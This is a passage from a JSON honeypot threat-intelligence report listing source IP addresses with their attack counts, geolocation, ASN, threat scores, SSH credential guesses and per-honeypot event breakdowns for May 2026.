        "last_seen_30d": "2026-05-31T17:13:01.352000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "217.199.144.34": {
      "attack_count": 56,
      "first_seen": "2026-05-12T06:11:22.532Z",
      "last_seen": "2026-05-12T06:34:30.305Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 9129,
      "as_org": "KE-NET2000",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:11:22.532000+00:00",
        "last_seen_30d": "2026-05-25T00:21:28.140000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 31
      }
    },
    "103.213.112.252": {
      "attack_count": 50,
      "first_seen": "2026-05-10T14:30:55.905Z",
      "last_seen": "2026-05-10T14:36:21.355Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:30:55.905000+00:00",
        "last_seen_30d": "2026-05-10T14:37:25.503000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.40.68": {
      "attack_count": 50,
      "first_seen": "2026-05-08T01:42:03.195Z",
      "last_seen": "2026-05-08T01:47:27.709Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:42:03.195000+00:00",
        "last_seen_30d": "2026-05-08T01:48:32.789000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.28.49.248": {
      "attack_count": 38,
      "first_seen": "2026-05-15T07:12:27.617Z",
      "last_seen": "2026-05-15T07:26:45.352Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T07:12:27.617000+00:00",
        "last_seen_30d": "2026-05-15T07:27:48.946000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 25
      }
    },
    "185.255.100.14": {
      "attack_count": 36,
      "first_seen": "2026-05-11T00:28:55.359Z",
      "last_seen": "2026-05-31T22:06:19.593Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.1,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:28:55.359000+00:00",
        "last_seen_30d": "2026-05-31T22:07:23.043000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 17
      }
    },
    "5.188.183.218": {
      "attack_count": 30,
      "first_seen": "2026-05-20T04:10:10.436Z",
      "last_seen": "2026-05-30T00:51:09.675Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 56630,
      "as_org": "Melbikomas UAB",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:10:10.436000+00:00",
        "last_seen_30d": "2026-05-30T00:52:10.862000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "50.116.30.89": {
      "attack_count": 24,
      "first_seen": "2026-05-05T02:22:43.958Z",
      "last_seen": "2026-05-13T08:37:16.469Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:22:43.958000+00:00",
        "last_seen_30d": "2026-05-13T08:38:20.180000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "54.39.133.9": {
      "attack_count": 24,
      "first_seen": "2026-05-05T00:26:15.129Z",
      "last_seen": "2026-05-10T08:05:42.853Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:26:15.129000+00:00",
        "last_seen_30d": "2026-05-10T08:06:49.227000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "23.94.112.131": {
      "attack_count": 19,
      "first_seen": "2026-05-10T01:47:52.317Z",
      "last_seen": "2026-05-10T01:49:31.448Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 71.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3402,
        "days_active_30d": 30,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:15:17.509000+00:00",
        "last_seen_30d": "2026-05-31T23:19:54.546000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3383,
        "Cowrie": 19
      }
    },
    "179.32.138.53": {
      "attack_count": 14,
      "first_seen": "2026-05-25T05:25:47.542Z",
      "last_seen": "2026-05-25T05:40:07.559Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Funza",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:19:53.938000+00:00",
        "last_seen_30d": "2026-05-25T05:41:12.159000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "190.48.16.58": {
      "attack_count": 14,
      "first_seen": "2026-05-27T09:41:31.347Z",
      "last_seen": "2026-05-27T09:49:51.791Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Pilar",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T09:41:31.347000+00:00",
        "last_seen_30d": "2026-05-27T09:51:17.454000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "14.103.86.183": {
      "attack_count": 13,
      "first_seen": "2026-05-21T01:58:46.234Z",
      "last_seen": "2026-05-21T02:39:25.437Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "wechat"
      ],
      "passwords_attempted": [
        "gmocloud",
        "wechat"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T01:58:46.234000+00:00",
        "last_seen_30d": "2026-05-21T02:49:34.349000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 7
      }
    },
    "171.221.160.252": {
      "attack_count": 11,
      "first_seen": "2026-05-13T10:30:48.689Z",
      "last_seen": "2026-05-13T10:33:53.531Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:30:48.689000+00:00",
        "last_seen_30d": "2026-05-13T10:35:01.253000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "117.245.139.85": {
      "attack_count": 8,
      "first_seen": "2026-05-19T16:28:04.239Z",
      "last_seen": "2026-05-19T16:50:08.046Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:28:04.239000+00:00",
        "last_seen_30d": "2026-05-19T16:51:09.896000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "192.42.116.51": {
      "attack_count": 8,
      "first_seen": "2026-05-19T21:06:37.808Z",
      "last_seen": "2026-05-19T21:07:00.131Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 56.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.7,
        "persistence": 13.3,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 16,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-09T18:48:49.002000+00:00",
        "last_seen_30d": "2026-05-24T01:21:36.051000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 153,
        "H0neytr4p": 17,
        "Ciscoasa": 8,
        "Cowrie": 6,
        "Dionaea": 1,
        "Honeytrap": 1
      }
    },
    "161.97.64.147": {
      "attack_count": 7,
      "first_seen": "2026-05-22T15:46:56.659Z",
      "last_seen": "2026-05-22T15:48:59.744Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Hackers"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:46:56.659000+00:00",
        "last_seen_30d": "2026-05-22T15:50:10.489000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "40.119.32.47": {
      "attack_count": 7,
      "first_seen": "2026-05-14T16:43:57.894Z",
      "last_seen": "2026-05-14T16:44:07.960Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T14:47:33.974000+00:00",
        "last_seen_30d": "2026-05-17T03:01:42.617000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 7,
        "Honeytrap": 2
      }
    },
    "190.245.66.10": {
      "attack_count": 6,
      "first_seen": "2026-05-04T06:04:16.700Z",
      "last_seen": "2026-05-04T06:06:23.385Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Bah\u00eda Blanca",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:04:16.700000+00:00",
        "last_seen_30d": "2026-05-04T06:17:13.614000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "66.132.224.230": {
      "attack_count": 6,
      "first_seen": "2026-05-31T04:32:41.111Z",
      "last_seen": "2026-05-31T04:33:18.104Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 86.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 25,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-07T07:15:31+00:00",
        "last_seen_30d": "2026-05-31T13:28:55.836000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 36,
        "Cowrie": 6,
        "CitrixHoneypot": 4,
        "Dionaea": 2
      }
    },
    "128.199.240.7": {
      "attack_count": 5,
      "first_seen": "2026-05-02T21:32:55.027Z",
      "last_seen": "2026-05-02T21:33:11.424Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 76.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 31877,
        "days_active_30d": 24,
        "ports_targeted_30d": 16226,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T00:01:05+00:00",
        "last_seen_30d": "2026-05-25T10:06:22.182000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16549,
        "Honeytrap": 15319,
        "Cowrie": 5,
        "ConPot": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "187.127.165.227": {
      "attack_count": 5,
      "first_seen": "2026-05-24T20:54:14.767Z",
      "last_seen": "2026-05-24T20:54:16.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2025@kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 47583,
      "as_org": "Hostinger International Limited",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:54:14.767000+00:00",
        "last_seen_30d": "2026-05-24T20:55:22.048000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "98.71.8.129": {
      "attack_count": 5,
      "first_seen": "2026-05-10T08:00:22.760Z",
      "last_seen": "2026-05-10T08:00:25.713Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "sftpuser"
      ],
      "passwords_attempted": [
        "test123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": "Dublin",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:00:22.760000+00:00",
        "last_seen_30d": "2026-05-10T08:01:29.664000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "167.71.50.100": {
      "attack_count": 4,
      "first_seen": "2026-05-02T21:20:52.958Z",
      "last_seen": "2026-05-02T21:23:32.652Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:15:42.551000+00:00",
        "last_seen_30d": "2026-05-02T22:00:50.929000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 4
      }
    },
    "194.187.178.65": {
      "attack_count": 4,
      "first_seen": "2026-05-04T15:07:53.975Z",
      "last_seen": "2026-05-04T15:07:54.848Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T15:07:53.975000+00:00",
        "last_seen_30d": "2026-05-25T14:40:12.741000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "205.210.31.173": {
      "attack_count": 4,
      "first_seen": "2026-05-08T16:52:05.075Z",
      "last_seen": "2026-05-14T03:09:58.284Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T20:49:20+00:00",
        "last_seen_30d": "2026-05-31T21:05:53.420000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 26,
        "ConPot": 19,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "65.49.1.40": {
      "attack_count": 4,
      "first_seen": "2026-05-29T13:50:33.537Z",
      "last_seen": "2026-05-29T13:50:37.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 69.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.9,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 24,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T12:34:47.273000+00:00",
        "last_seen_30d": "2026-05-31T01:21:34.494000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "66.132.195.60": {
      "attack_count": 4,
      "first_seen": "2026-05-06T09:31:26.121Z",
      "last_seen": "2026-05-06T09:31:41.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
